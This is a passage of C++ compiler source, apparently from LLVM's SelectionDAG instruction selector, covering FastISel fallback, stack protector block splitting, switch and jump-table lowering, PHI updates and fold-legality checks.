BasicBlock::const_iterator const Begin = LLVMBB->getFirstNonPHI()->getIterator(); BasicBlock::const_iterator const End = LLVMBB->end(); BasicBlock::const_iterator BI = End; FuncInfo->MBB = FuncInfo->MBBMap[LLVMBB]; if (!FuncInfo->MBB) continue; // Some blocks like catchpads have no code or MBB. // Insert new instructions after any phi or argument setup code. FuncInfo->InsertPt = FuncInfo->MBB->end(); // Setup an EH landing-pad block. FuncInfo->ExceptionPointerVirtReg = 0; FuncInfo->ExceptionSelectorVirtReg = 0; if (LLVMBB->isEHPad()) if (!PrepareEHLandingPad()) continue; // Before doing SelectionDAG ISel, see if FastISel has been requested. if (FastIS) { if (LLVMBB != &Fn.getEntryBlock()) FastIS->startNewBlock(); unsigned NumFastIselRemaining = std::distance(Begin, End); // Pre-assign swifterror vregs. SwiftError->preassignVRegs(FuncInfo->MBB, Begin, End); // Do FastISel on as many instructions as possible. for (; BI != Begin; --BI) { const Instruction *Inst = &*std::prev(BI); // If we no longer require this instruction, skip it. if (isFoldedOrDeadInstruction(Inst, *FuncInfo) || ElidedArgCopyInstrs.count(Inst)) { --NumFastIselRemaining; continue; } // Bottom-up: reset the insert pos at the top, after any local-value // instructions. FastIS->recomputeInsertPt(); // Try to select the instruction with FastISel. if (FastIS->selectInstruction(Inst)) { --NumFastIselRemaining; ++NumFastIselSuccess; // If fast isel succeeded, skip over all the folded instructions, and // then see if there is a load right before the selected instructions. // Try to fold the load if so. const Instruction *BeforeInst = Inst; while (BeforeInst != &*Begin) { BeforeInst = &*std::prev(BasicBlock::const_iterator(BeforeInst)); if (!isFoldedOrDeadInstruction(BeforeInst, *FuncInfo)) break; } if (BeforeInst != Inst && isa<LoadInst>(BeforeInst) && BeforeInst->hasOneUse() && FastIS->tryToFoldLoad(cast<LoadInst>(BeforeInst), Inst)) { // If we succeeded, don't re-select the load. BI = std::next(BasicBlock::const_iterator(BeforeInst)); --NumFastIselRemaining; ++NumFastIselSuccess; } continue; } FastISelFailed = true; // Then handle certain instructions as single-LLVM-Instruction blocks. // We cannot separate out GCrelocates to their own blocks since we need // to keep track of gc-relocates for a particular gc-statepoint. This is // done by SelectionDAGBuilder::LowerAsSTATEPOINT, called before // visitGCRelocate. if (isa<CallInst>(Inst) && !isa<GCStatepointInst>(Inst) && !isa<GCRelocateInst>(Inst) && !isa<GCResultInst>(Inst)) { OptimizationRemarkMissed R("sdagisel", "FastISelFailure", Inst->getDebugLoc(), LLVMBB); R << "FastISel missed call"; if (R.isEnabled() || EnableFastISelAbort) { std::string InstStrStorage; raw_string_ostream InstStr(InstStrStorage); InstStr << *Inst; R << ": " << InstStr.str(); } reportFastISelFailure(*MF, *ORE, R, EnableFastISelAbort > 2); if (!Inst->getType()->isVoidTy() && !Inst->getType()->isTokenTy() && !Inst->use_empty()) { Register &R = FuncInfo->ValueMap[Inst]; if (!R) R = FuncInfo->CreateRegs(Inst); } bool HadTailCall = false; MachineBasicBlock::iterator SavedInsertPt = FuncInfo->InsertPt; SelectBasicBlock(Inst->getIterator(), BI, HadTailCall); // If the call was emitted as a tail call, we're done with the block. // We also need to delete any previously emitted instructions. if (HadTailCall) { FastIS->removeDeadCode(SavedInsertPt, FuncInfo->MBB->end()); --BI; break; } // Recompute NumFastIselRemaining as Selection DAG instruction // selection may have handled the call, input args, etc. unsigned RemainingNow = std::distance(Begin, BI); NumFastIselFailures += NumFastIselRemaining - RemainingNow; NumFastIselRemaining = RemainingNow; continue; } OptimizationRemarkMissed R("sdagisel", "FastISelFailure", Inst->getDebugLoc(), LLVMBB); bool ShouldAbort = EnableFastISelAbort; if (Inst->isTerminator()) { // Use a different message for terminator misses. R << "FastISel missed terminator"; // Don't abort for terminator unless the level is really high ShouldAbort = (EnableFastISelAbort > 2); } else { R << "FastISel missed"; } if (R.isEnabled() || EnableFastISelAbort) { std::string InstStrStorage; raw_string_ostream InstStr(InstStrStorage); InstStr << *Inst; R << ": " << InstStr.str(); } reportFastISelFailure(*MF, *ORE, R, ShouldAbort); NumFastIselFailures += NumFastIselRemaining; break; } FastIS->recomputeInsertPt(); } if (SP.shouldEmitSDCheck(*LLVMBB)) { bool FunctionBasedInstrumentation = TLI->getSSPStackGuardCheck(*Fn.getParent()); SDB->SPDescriptor.initialize(LLVMBB, FuncInfo->MBBMap[LLVMBB], FunctionBasedInstrumentation); } if (Begin != BI) ++NumDAGBlocks; else ++NumFastIselBlocks; if (Begin != BI) { // Run SelectionDAG instruction selection on the remainder of the block // not handled by FastISel. If FastISel is not run, this is the entire // block. bool HadTailCall; SelectBasicBlock(Begin, BI, HadTailCall); // But if FastISel was run, we already selected some of the block. // If we emitted a tail-call, we need to delete any previously emitted // instruction that follows it. if (FastIS && HadTailCall && FuncInfo->InsertPt != FuncInfo->MBB->end()) FastIS->removeDeadCode(FuncInfo->InsertPt, FuncInfo->MBB->end()); } if (FastIS) FastIS->finishBasicBlock(); FinishBasicBlock(); FuncInfo->PHINodesToUpdate.clear(); ElidedArgCopyInstrs.clear(); } SP.copyToMachineFrameInfo(MF->getFrameInfo()); SwiftError->propagateVRegs(); delete FastIS; SDB->clearDanglingDebugInfo(); SDB->SPDescriptor.resetPerFunctionState(); } /// Given that the input MI is before a partial terminator sequence TSeq, return /// true if M + TSeq also a partial terminator sequence. /// /// A Terminator sequence is a sequence of MachineInstrs which at this point in /// lowering copy vregs into physical registers, which are then passed into /// terminator instructors so we can satisfy ABI constraints. A partial /// terminator sequence is an improper subset of a terminator sequence (i.e. it /// may be the whole terminator sequence). static bool MIIsInTerminatorSequence(const MachineInstr &MI) { // If we do not have a copy or an implicit def, we return true if and only if // MI is a debug value. if (!MI.isCopy() && !MI.isImplicitDef()) // Sometimes DBG_VALUE MI sneak in between the copies from the vregs to the // physical registers if there is debug info associated with the terminator // of our mbb. We want to include said debug info in our terminator // sequence, so we return true in that case. return MI.isDebugValue(); // We have left the terminator sequence if we are not doing one of the // following: // // 1. Copying a vreg into a physical register. // 2. Copying a vreg into a vreg. // 3. Defining a register via an implicit def. // OPI should always be a register definition... MachineInstr::const_mop_iterator OPI = MI.operands_begin(); if (!OPI->isReg() || !OPI->isDef()) return false; // Defining any register via an implicit def is always ok. if (MI.isImplicitDef()) return true; // Grab the copy source... MachineInstr::const_mop_iterator OPI2 = OPI; ++OPI2; assert(OPI2 != MI.operands_end() && "Should have a copy implying we should have 2 arguments."); // Make sure that the copy dest is not a vreg when the copy source is a // physical register. if (!OPI2->isReg() || (!Register::isPhysicalRegister(OPI->getReg()) && Register::isPhysicalRegister(OPI2->getReg()))) return false; return true; } /// Find the split point at which to splice the end of BB into its success stack /// protector check machine basic block. /// /// On many platforms, due to ABI constraints, terminators, even before register /// allocation, use physical registers. This creates an issue for us since /// physical registers at this point can not travel across basic /// blocks. Luckily, selectiondag always moves physical registers into vregs /// when they enter functions and moves them through a sequence of copies back /// into the physical registers right before the terminator creating a /// ``Terminator Sequence''. This function is searching for the beginning of the /// terminator sequence so that we can ensure that we splice off not just the /// terminator, but additionally the copies that move the vregs into the /// physical registers. static MachineBasicBlock::iterator FindSplitPointForStackProtector(MachineBasicBlock *BB) { MachineBasicBlock::iterator SplitPoint = BB->getFirstTerminator(); // if (SplitPoint == BB->begin()) return SplitPoint; MachineBasicBlock::iterator Start = BB->begin(); MachineBasicBlock::iterator Previous = SplitPoint; --Previous; while (MIIsInTerminatorSequence(*Previous)) { SplitPoint = Previous; if (Previous == Start) break; --Previous; } return SplitPoint; } void SelectionDAGISel::FinishBasicBlock() { LLVM_DEBUG(dbgs() << "Total amount of phi nodes to update: " << FuncInfo->PHINodesToUpdate.size() << "\n"; for (unsigned i = 0, e = FuncInfo->PHINodesToUpdate.size(); i != e; ++i) dbgs() << "Node " << i << " : (" << FuncInfo->PHINodesToUpdate[i].first << ", " << FuncInfo->PHINodesToUpdate[i].second << ")\n"); // Next, now that we know what the last MBB the LLVM BB expanded is, update // PHI nodes in successors. for (unsigned i = 0, e = FuncInfo->PHINodesToUpdate.size(); i != e; ++i) { MachineInstrBuilder PHI(*MF, FuncInfo->PHINodesToUpdate[i].first); assert(PHI->isPHI() && "This is not a machine PHI node that we are updating!"); if (!FuncInfo->MBB->isSuccessor(PHI->getParent())) continue; PHI.addReg(FuncInfo->PHINodesToUpdate[i].second).addMBB(FuncInfo->MBB); } // Handle stack protector. if (SDB->SPDescriptor.shouldEmitFunctionBasedCheckStackProtector()) { // The target provides a guard check function. There is no need to // generate error handling code or to split current basic block. MachineBasicBlock *ParentMBB = SDB->SPDescriptor.getParentMBB(); // Add load and check to the basicblock. FuncInfo->MBB = ParentMBB; FuncInfo->InsertPt = FindSplitPointForStackProtector(ParentMBB); SDB->visitSPDescriptorParent(SDB->SPDescriptor, ParentMBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); // Clear the Per-BB State. SDB->SPDescriptor.resetPerBBState(); } else if (SDB->SPDescriptor.shouldEmitStackProtector()) { MachineBasicBlock *ParentMBB = SDB->SPDescriptor.getParentMBB(); MachineBasicBlock *SuccessMBB = SDB->SPDescriptor.getSuccessMBB(); // Find the split point to split the parent mbb. At the same time copy all // physical registers used in the tail of parent mbb into virtual registers // before the split point and back into physical registers after the split // point. This prevents us needing to deal with Live-ins and many other // register allocation issues caused by us splitting the parent mbb. The // register allocator will clean up said virtual copies later on. MachineBasicBlock::iterator SplitPoint = FindSplitPointForStackProtector(ParentMBB); // Splice the terminator of ParentMBB into SuccessMBB. SuccessMBB->splice(SuccessMBB->end(), ParentMBB, SplitPoint, ParentMBB->end()); // Add compare/jump on neq/jump to the parent BB. FuncInfo->MBB = ParentMBB; FuncInfo->InsertPt = ParentMBB->end(); SDB->visitSPDescriptorParent(SDB->SPDescriptor, ParentMBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); // CodeGen Failure MBB if we have not codegened it yet. MachineBasicBlock *FailureMBB = SDB->SPDescriptor.getFailureMBB(); if (FailureMBB->empty()) { FuncInfo->MBB = FailureMBB; FuncInfo->InsertPt = FailureMBB->end(); SDB->visitSPDescriptorFailure(SDB->SPDescriptor); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); } // Clear the Per-BB State. SDB->SPDescriptor.resetPerBBState(); } // Lower each BitTestBlock. for (auto &BTB : SDB->SL->BitTestCases) { // Lower header first, if it wasn't already lowered if (!BTB.Emitted) { // Set the current basic block to the mbb we wish to insert the code into FuncInfo->MBB = BTB.Parent; FuncInfo->InsertPt = FuncInfo->MBB->end(); // Emit the code SDB->visitBitTestHeader(BTB, FuncInfo->MBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); } BranchProbability UnhandledProb = BTB.Prob; for (unsigned j = 0, ej = BTB.Cases.size(); j != ej; ++j) { UnhandledProb -= BTB.Cases[j].ExtraProb; // Set the current basic block to the mbb we wish to insert the code into FuncInfo->MBB = BTB.Cases[j].ThisBB; FuncInfo->InsertPt = FuncInfo->MBB->end(); // Emit the code // If all cases cover a contiguous range, it is not necessary to jump to // the default block after the last bit test fails. This is because the // range check during bit test header creation has guaranteed that every // case here doesn't go outside the range. In this case, there is no need // to perform the last bit test, as it will always be true. Instead, make // the second-to-last bit-test fall through to the target of the last bit // test, and delete the last bit test. MachineBasicBlock *NextMBB; if (BTB.ContiguousRange && j + 2 == ej) { // Second-to-last bit-test with contiguous range: fall through to the // target of the final bit test. NextMBB = BTB.Cases[j + 1].TargetBB; } else if (j + 1 == ej) { // For the last bit test, fall through to Default. NextMBB = BTB.Default; } else { // Otherwise, fall through to the next bit test. NextMBB = BTB.Cases[j + 1].ThisBB; } SDB->visitBitTestCase(BTB, NextMBB, UnhandledProb, BTB.Reg, BTB.Cases[j], FuncInfo->MBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); if (BTB.ContiguousRange && j + 2 == ej) { // Since we're not going to use the final bit test, remove it. BTB.Cases.pop_back(); break; } } // Update PHI Nodes for (unsigned pi = 0, pe = FuncInfo->PHINodesToUpdate.size(); pi != pe; ++pi) { MachineInstrBuilder PHI(*MF, FuncInfo->PHINodesToUpdate[pi].first); MachineBasicBlock *PHIBB = PHI->getParent(); assert(PHI->isPHI() && "This is not a machine PHI node that we are updating!"); // This is "default" BB. We have two jumps to it. From "header" BB and // from last "case" BB, unless the latter was skipped. if (PHIBB == BTB.Default) { PHI.addReg(FuncInfo->PHINodesToUpdate[pi].second).addMBB(BTB.Parent); if (!BTB.ContiguousRange) { PHI.addReg(FuncInfo->PHINodesToUpdate[pi].second) .addMBB(BTB.Cases.back().ThisBB); } } // One of "cases" BB. for (unsigned j = 0, ej = BTB.Cases.size(); j != ej; ++j) { MachineBasicBlock* cBB = BTB.Cases[j].ThisBB; if (cBB->isSuccessor(PHIBB)) PHI.addReg(FuncInfo->PHINodesToUpdate[pi].second).addMBB(cBB); } } } SDB->SL->BitTestCases.clear(); // If the JumpTable record is filled in, then we need to emit a jump table. // Updating the PHI nodes is tricky in this case, since we need to determine // whether the PHI is a successor of the range check MBB or the jump table MBB for (unsigned i = 0, e = SDB->SL->JTCases.size(); i != e; ++i) { // Lower header first, if it wasn't already lowered if (!SDB->SL->JTCases[i].first.Emitted) { // Set the current basic block to the mbb we wish to insert the code into FuncInfo->MBB = SDB->SL->JTCases[i].first.HeaderBB; FuncInfo->InsertPt = FuncInfo->MBB->end(); // Emit the code SDB->visitJumpTableHeader(SDB->SL->JTCases[i].second, SDB->SL->JTCases[i].first, FuncInfo->MBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); } // Set the current basic block to the mbb we wish to insert the code into FuncInfo->MBB = SDB->SL->JTCases[i].second.MBB; FuncInfo->InsertPt = FuncInfo->MBB->end(); // Emit the code SDB->visitJumpTable(SDB->SL->JTCases[i].second); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); // Update PHI Nodes for (unsigned pi = 0, pe = FuncInfo->PHINodesToUpdate.size(); pi != pe; ++pi) { MachineInstrBuilder PHI(*MF, FuncInfo->PHINodesToUpdate[pi].first); MachineBasicBlock *PHIBB = PHI->getParent(); assert(PHI->isPHI() && "This is not a machine PHI node that we are updating!"); // "default" BB. We can go there only from header BB. if (PHIBB == SDB->SL->JTCases[i].second.Default) PHI.addReg(FuncInfo->PHINodesToUpdate[pi].second) .addMBB(SDB->SL->JTCases[i].first.HeaderBB); // JT BB. Just iterate over successors here if (FuncInfo->MBB->isSuccessor(PHIBB)) PHI.addReg(FuncInfo->PHINodesToUpdate[pi].second).addMBB(FuncInfo->MBB); } } SDB->SL->JTCases.clear(); // If we generated any switch lowering information, build and codegen any // additional DAGs necessary. for (unsigned i = 0, e = SDB->SL->SwitchCases.size(); i != e; ++i) { // Set the current basic block to the mbb we wish to insert the code into FuncInfo->MBB = SDB->SL->SwitchCases[i].ThisBB; FuncInfo->InsertPt = FuncInfo->MBB->end(); // Determine the unique successors. SmallVector<MachineBasicBlock *, 2> Succs; Succs.push_back(SDB->SL->SwitchCases[i].TrueBB); if (SDB->SL->SwitchCases[i].TrueBB != SDB->SL->SwitchCases[i].FalseBB) Succs.push_back(SDB->SL->SwitchCases[i].FalseBB); // Emit the code. Note that this could result in FuncInfo->MBB being split. SDB->visitSwitchCase(SDB->SL->SwitchCases[i], FuncInfo->MBB); CurDAG->setRoot(SDB->getRoot()); SDB->clear(); CodeGenAndEmitDAG(); // Remember the last block, now that any splitting is done, for use in // populating PHI nodes in successors. MachineBasicBlock *ThisBB = FuncInfo->MBB; // Handle any PHI nodes in successors of this chunk, as if we were coming // from the original BB before switch expansion. Note that PHI nodes can // occur multiple times in PHINodesToUpdate. We have to be very careful to // handle them the right number of times. for (unsigned i = 0, e = Succs.size(); i != e; ++i) { FuncInfo->MBB = Succs[i]; FuncInfo->InsertPt = FuncInfo->MBB->end(); // FuncInfo->MBB may have been removed from the CFG if a branch was // constant folded. if (ThisBB->isSuccessor(FuncInfo->MBB)) { for (MachineBasicBlock::iterator MBBI = FuncInfo->MBB->begin(), MBBE = FuncInfo->MBB->end(); MBBI != MBBE && MBBI->isPHI(); ++MBBI) { MachineInstrBuilder PHI(*MF, MBBI); // This value for this PHI node is recorded in PHINodesToUpdate. for (unsigned pn = 0; ; ++pn) { assert(pn != FuncInfo->PHINodesToUpdate.size() && "Didn't find PHI entry!"); if (FuncInfo->PHINodesToUpdate[pn].first == PHI) { PHI.addReg(FuncInfo->PHINodesToUpdate[pn].second).addMBB(ThisBB); break; } } } } } } SDB->SL->SwitchCases.clear(); } /// Create the scheduler. If a specific scheduler was specified /// via the SchedulerRegistry, use it, otherwise select the /// one preferred by the target. /// ScheduleDAGSDNodes *SelectionDAGISel::CreateScheduler() { return ISHeuristic(this, OptLevel); } //===----------------------------------------------------------------------===// // Helper functions used by the generated instruction selector. //===----------------------------------------------------------------------===// // Calls to these methods are generated by tblgen. /// CheckAndMask - The isel is trying to match something like (and X, 255). If /// the dag combiner simplified the 255, we still want to match. RHS is the /// actual value in the DAG on the RHS of an AND, and DesiredMaskS is the value /// specified in the .td file (e.g. 255). bool SelectionDAGISel::CheckAndMask(SDValue LHS, ConstantSDNode *RHS, int64_t DesiredMaskS) const { const APInt &ActualMask = RHS->getAPIntValue(); const APInt &DesiredMask = APInt(LHS.getValueSizeInBits(), DesiredMaskS); // If the actual mask exactly matches, success! if (ActualMask == DesiredMask) return true; // If the actual AND mask is allowing unallowed bits, this doesn't match. if (!ActualMask.isSubsetOf(DesiredMask)) return false; // Otherwise, the DAG Combiner may have proven that the value coming in is // either already zero or is not demanded. Check for known zero input bits. APInt NeededMask = DesiredMask & ~ActualMask; if (CurDAG->MaskedValueIsZero(LHS, NeededMask)) return true; // TODO: check to see if missing bits are just not demanded. // Otherwise, this pattern doesn't match. return false; } /// CheckOrMask - The isel is trying to match something like (or X, 255). If /// the dag combiner simplified the 255, we still want to match. RHS is the /// actual value in the DAG on the RHS of an OR, and DesiredMaskS is the value /// specified in the .td file (e.g. 255). bool SelectionDAGISel::CheckOrMask(SDValue LHS, ConstantSDNode *RHS, int64_t DesiredMaskS) const { const APInt &ActualMask = RHS->getAPIntValue(); const APInt &DesiredMask = APInt(LHS.getValueSizeInBits(), DesiredMaskS); // If the actual mask exactly matches, success! if (ActualMask == DesiredMask) return true; // If the actual AND mask is allowing unallowed bits, this doesn't match. if (!ActualMask.isSubsetOf(DesiredMask)) return false; // Otherwise, the DAG Combiner may have proven that the value coming in is // either already zero or is not demanded. Check for known zero input bits. APInt NeededMask = DesiredMask & ~ActualMask; KnownBits Known = CurDAG->computeKnownBits(LHS); // If all the missing bits in the or are already known to be set, match! if (NeededMask.isSubsetOf(Known.One)) return true; // TODO: check to see if missing bits are just not demanded. // Otherwise, this pattern doesn't match. return false; } /// SelectInlineAsmMemoryOperands - Calls to this are automatically generated /// by tblgen. Others should not call it. void SelectionDAGISel::SelectInlineAsmMemoryOperands(std::vector<SDValue> &Ops, const SDLoc &DL) { std::vector<SDValue> InOps; std::swap(InOps, Ops); Ops.push_back(InOps[InlineAsm::Op_InputChain]); // 0 Ops.push_back(InOps[InlineAsm::Op_AsmString]); // 1 Ops.push_back(InOps[InlineAsm::Op_MDNode]); // 2, !srcloc Ops.push_back(InOps[InlineAsm::Op_ExtraInfo]); // 3 (SideEffect, AlignStack) unsigned i = InlineAsm::Op_FirstOperand, e = InOps.size(); if (InOps[e-1].getValueType() == MVT::Glue) --e; // Don't process a glue operand if it is here. while (i != e) { unsigned Flags = cast<ConstantSDNode>(InOps[i])->getZExtValue(); if (!InlineAsm::isMemKind(Flags)) { // Just skip over this operand, copying the operands verbatim. Ops.insert(Ops.end(), InOps.begin()+i, InOps.begin()+i+InlineAsm::getNumOperandRegisters(Flags) + 1); i += InlineAsm::getNumOperandRegisters(Flags) + 1; } else { assert(InlineAsm::getNumOperandRegisters(Flags) == 1 && "Memory operand with multiple values?"); unsigned TiedToOperand; if (InlineAsm::isUseOperandTiedToDef(Flags, TiedToOperand)) { // We need the constraint ID from the operand this is tied to. unsigned CurOp = InlineAsm::Op_FirstOperand; Flags = cast<ConstantSDNode>(InOps[CurOp])->getZExtValue(); for (; TiedToOperand; --TiedToOperand) { CurOp += InlineAsm::getNumOperandRegisters(Flags)+1; Flags = cast<ConstantSDNode>(InOps[CurOp])->getZExtValue(); } } // Otherwise, this is a memory operand. Ask the target to select it. std::vector<SDValue> SelOps; unsigned ConstraintID = InlineAsm::getMemoryConstraintID(Flags); if (SelectInlineAsmMemoryOperand(InOps[i+1], ConstraintID, SelOps)) report_fatal_error("Could not match memory address. Inline asm" " failure!"); // Add this to the output node. unsigned NewFlags = InlineAsm::getFlagWord(InlineAsm::Kind_Mem, SelOps.size()); NewFlags = InlineAsm::getFlagWordForMem(NewFlags, ConstraintID); Ops.push_back(CurDAG->getTargetConstant(NewFlags, DL, MVT::i32)); Ops.insert(Ops.end(), SelOps.begin(), SelOps.end()); i += 2; } } // Add the glue input back if present. if (e != InOps.size()) Ops.push_back(InOps.back()); } /// findGlueUse - Return use of MVT::Glue value produced by the specified /// SDNode. /// static SDNode *findGlueUse(SDNode *N) { unsigned FlagResNo = N->getNumValues()-1; for (SDNode::use_iterator I = N->use_begin(), E = N->use_end(); I != E; ++I) { SDUse &Use = I.getUse(); if (Use.getResNo() == FlagResNo) return Use.getUser(); } return nullptr; } /// findNonImmUse - Return true if "Def" is a predecessor of "Root" via a path /// beyond "ImmedUse". We may ignore chains as they are checked separately. static bool findNonImmUse(SDNode *Root, SDNode *Def, SDNode *ImmedUse, bool IgnoreChains) { SmallPtrSet<const SDNode *, 16> Visited; SmallVector<const SDNode *, 16> WorkList; // Only check if we have non-immediate uses of Def. if (ImmedUse->isOnlyUserOf(Def)) return false; // We don't care about paths to Def that go through ImmedUse so mark it // visited and mark non-def operands as used. Visited.insert(ImmedUse); for (const SDValue &Op : ImmedUse->op_values()) { SDNode *N = Op.getNode(); // Ignore chain deps (they are validated by // HandleMergeInputChains) and immediate uses if ((Op.getValueType() == MVT::Other && IgnoreChains) || N == Def) continue; if (!Visited.insert(N).second) continue; WorkList.push_back(N); } // Initialize worklist to operands of Root. if (Root != ImmedUse) { for (const SDValue &Op : Root->op_values()) { SDNode *N = Op.getNode(); // Ignore chains (they are validated by HandleMergeInputChains) if ((Op.getValueType() == MVT::Other && IgnoreChains) || N == Def) continue; if (!Visited.insert(N).second) continue; WorkList.push_back(N); } } return SDNode::hasPredecessorHelper(Def, Visited, WorkList, 0, true); } /// IsProfitableToFold - Returns true if it's profitable to fold the specific /// operand node N of U during instruction selection that starts at Root. bool SelectionDAGISel::IsProfitableToFold(SDValue N, SDNode *U, SDNode *Root) const { if (OptLevel == CodeGenOpt::None) return false; return N.hasOneUse(); } /// IsLegalToFold - Returns true if the specific operand node N of /// U can be folded during instruction selection that starts at Root. bool SelectionDAGISel::IsLegalToFold(SDValue N, SDNode *U, SDNode *Root, CodeGenOpt::Level OptLevel, bool IgnoreChains) { if (OptLevel == CodeGenOpt::None) return false; // If Root use can somehow reach N through a path that that doesn't contain // U then folding N would create a cycle. e.g. In the following // diagram, Root can reach N through X. If N is folded into Root, then // X is both a predecessor and a successor of U. // // [N*] // // ^ ^ // // / \ // // [U*] [X]? // // ^ ^ // // \ / // // \ / // // [Root*] // // // * indicates nodes to be folded together. // // If Root produces glue, then it gets (even more) interesting. Since it // will be "glued" together with its glue use in the scheduler, we need to // check if it might reach N. // // [N*] // // ^ ^ // // / \ // // [U*] [X]? // // ^ ^ // // \ \ // // \ | // // [Root*] | // // ^ | // // f | // // | / // // [Y] / // // ^ / // // f / // // | / // // [GU] // // // If GU (glue use) indirectly reaches N (the load), and Root folds N // (call it Fold), then X is a predecessor of GU and a successor of // Fold. But since Fold and GU are glued together, this will create // a cycle in the scheduling graph. // If the node has glue, walk down the graph to the "lowest" node in the // glueged set. EVT VT = Root->getValueType(Root->getNumValues()-1); while (VT == MVT::Glue) { SDNode *GU = findGlueUse(Root); if (!GU) break; Root = GU; VT = Root->getValueType(Root->getNumValues()-1); // If our query node has a glue result with a use, we've walked up it. If // the user (which has already been selected) has a chain or indirectly uses // the chain, HandleMergeInputChains will not consider it. Because of // this, we cannot ignore chains in this predicate. IgnoreChains = false; } return !findNonImmUse(Root, N.getNode(), U, IgnoreChains); } void SelectionDAGISel::Select_INLINEASM(SDNode *N) { SDLoc DL(N); std::vector<SDValue> Ops(N->op_begin(), N->op_end()); SelectInlineAsmMemoryOperands(Ops, DL); const EVT VTs[] = {MVT::Other, MVT::Glue}; SDValue New = CurDAG->getNode(N->getOpcode(), DL, VTs, Ops); New->setNodeId(-1); ReplaceUses(N, New.getNode()); CurDAG->RemoveDeadNode(N); } void SelectionDAGISel::Select_READ_REGISTER(SDNode *Op) { SDLoc dl(Op); MDNodeSDNode *MD = cast<MDNodeSDNode>(Op->getOperand(1)); const MDString *RegStr = cast<MDString>(MD->getMD()->getOperand(0)); EVT VT = Op->getValueType(0); LLT Ty = VT.isSimple() ? getLLTForMVT(VT.getSimpleVT()) : LLT(); Register Reg = TLI->getRegisterByName(RegStr->getString().data(), Ty, CurDAG->getMachineFunction()); SDValue New = CurDAG->getCopyFromReg( Op->getOperand(0), dl, Reg, Op->getValueType(0)); New->setNodeId(-1); ReplaceUses(Op, New.getNode()); CurDAG->RemoveDeadNode(Op); } void SelectionDAGISel::Select_WRITE_REGISTER(SDNode *Op) { SDLoc dl(Op); MDNodeSDNode *MD = cast<MDNodeSDNode>(Op->getOperand(1)); const MDString *RegStr = cast<MDString>(MD->getMD()->getOperand(0)); EVT VT = Op->getOperand(2).getValueType(); LLT Ty = VT.isSimple() ? getLLTForMVT(VT.getSimpleVT()) : LLT(); Register Reg = TLI->getRegisterByName(RegStr->getString().data(), Ty, CurDAG->getMachineFunction()); SDValue New = CurDAG->getCopyToReg( Op->getOperand(0), dl, Reg, Op->getOperand(2)); New->setNodeId(-1); ReplaceUses(Op, New.getNode()); CurDAG->RemoveDeadNode(Op); } void SelectionDAGISel::Select_UNDEF(SDNode *N) { CurDAG->SelectNodeTo(N, TargetOpcode::IMPLICIT_DEF, N->getValueType(0)); } void SelectionDAGISel::Select_FREEZE(SDNode *N) { // TODO: We don't have FREEZE pseudo-instruction in MachineInstr-level now. // If FREEZE instruction is added later, the code below must be changed as // well. CurDAG->SelectNodeTo(N, TargetOpcode::COPY, N->getValueType(0), N->getOperand(0)); } /// GetVBR - decode a vbr encoding whose top bit is set. LLVM_ATTRIBUTE_ALWAYS_INLINE static inline uint64_t GetVBR(uint64_t Val, const unsigned char *MatcherTable, unsigned &Idx) { assert(Val >= 128 && "Not a VBR"); Val &= 127; // Remove first vbr bit. unsigned Shift = 7; uint64_t NextBits; do { NextBits = MatcherTable[Idx++]; Val |= (NextBits&127) << Shift; Shift += 7; } while (NextBits & 128); return Val; } /// When a match is complete, this method updates uses of interior chain results /// to use the new results. void SelectionDAGISel::UpdateChains( SDNode *NodeToMatch, SDValue InputChain, SmallVectorImpl<SDNode *> &ChainNodesMatched, bool isMorphNodeTo) { SmallVector<SDNode*, 4> NowDeadNodes; // Now that all the normal results are replaced, we replace the chain and // glue results if present. if (!ChainNodesMatched.empty()) { assert(InputChain.getNode() && "Matched input chains but didn't produce a chain"); // Loop over all of the nodes we matched that produced a chain result. // Replace all the chain results with the final chain we ended up with. for (unsigned i = 0, e = ChainNodesMatched.size(); i != e; ++i) { SDNode *ChainNode = ChainNodesMatched[i]; // If ChainNode is null, it's because we replaced it on a previous // iteration and we cleared it out of the map. Just skip it. if (!ChainNode) continue; assert(ChainNode->getOpcode() != ISD::DELETED_NODE && "Deleted node left in chain"); // Don't replace the results of the root node if we're doing a // MorphNodeTo. if (ChainNode == NodeToMatch && isMorphNodeTo) continue; SDValue ChainVal = SDValue(ChainNode, ChainNode->getNumValues()-1); if (ChainVal.getValueType() == MVT::Glue) ChainVal = ChainVal.getValue(ChainVal->getNumValues()-2); assert(ChainVal.getValueType() == MVT::Other && "Not a chain?"); SelectionDAG::DAGNodeDeletedListener NDL( *CurDAG, [&](SDNode *N, SDNode *E) { std::replace(ChainNodesMatched.begin(), ChainNodesMatched.end(), N, static_cast<SDNode *>(nullptr)); }); if (ChainNode->getOpcode() != ISD::TokenFactor) ReplaceUses(ChainVal, InputChain); // If the node became dead and we haven't already seen it, delete it. if (ChainNode != NodeToMatch && ChainNode->use_empty() && !std::count(NowDeadNodes.begin(), NowDeadNodes.end(), ChainNode)) NowDeadNodes.push_back(ChainNode); } } if (!NowDeadNodes.empty()) CurDAG->RemoveDeadNodes(NowDeadNodes); LLVM_DEBUG(dbgs() << "ISEL: Match complete!\n"); } /// HandleMergeInputChains - This implements the OPC_EmitMergeInputChains /// operation for when the pattern matched at least one node with a chains. The /// input vector contains a list of all of the chained nodes that we match. We /// must determine if this is a valid thing to cover (i.e. matching it won't /// induce cycles in the DAG) and if so, creating a TokenFactor node. that will /// be used as the input node chain for the generated nodes. static SDValue HandleMergeInputChains(SmallVectorImpl<SDNode*> &ChainNodesMatched, SelectionDAG *CurDAG) { SmallPtrSet<const SDNode *, 16> Visited; SmallVector<const SDNode *, 8> Worklist; SmallVector<SDValue, 3> InputChains; unsigned int Max = 8192; // Quick exit on trivial merge. if (ChainNodesMatched.size() == 1) return ChainNodesMatched[0]->getOperand(0); // Add chains that aren't already added (internal). Peek through // token factors. std::function<void(const SDValue)> AddChains = [&](const SDValue V) { if (V.getValueType() != MVT::Other) return; if (V->getOpcode() == ISD::EntryToken) return; if (!Visited.insert(V.getNode()).second) return; if (V->getOpcode() == ISD::TokenFactor) { for (const SDValue &Op : V->op_values()) AddChains(Op); } else 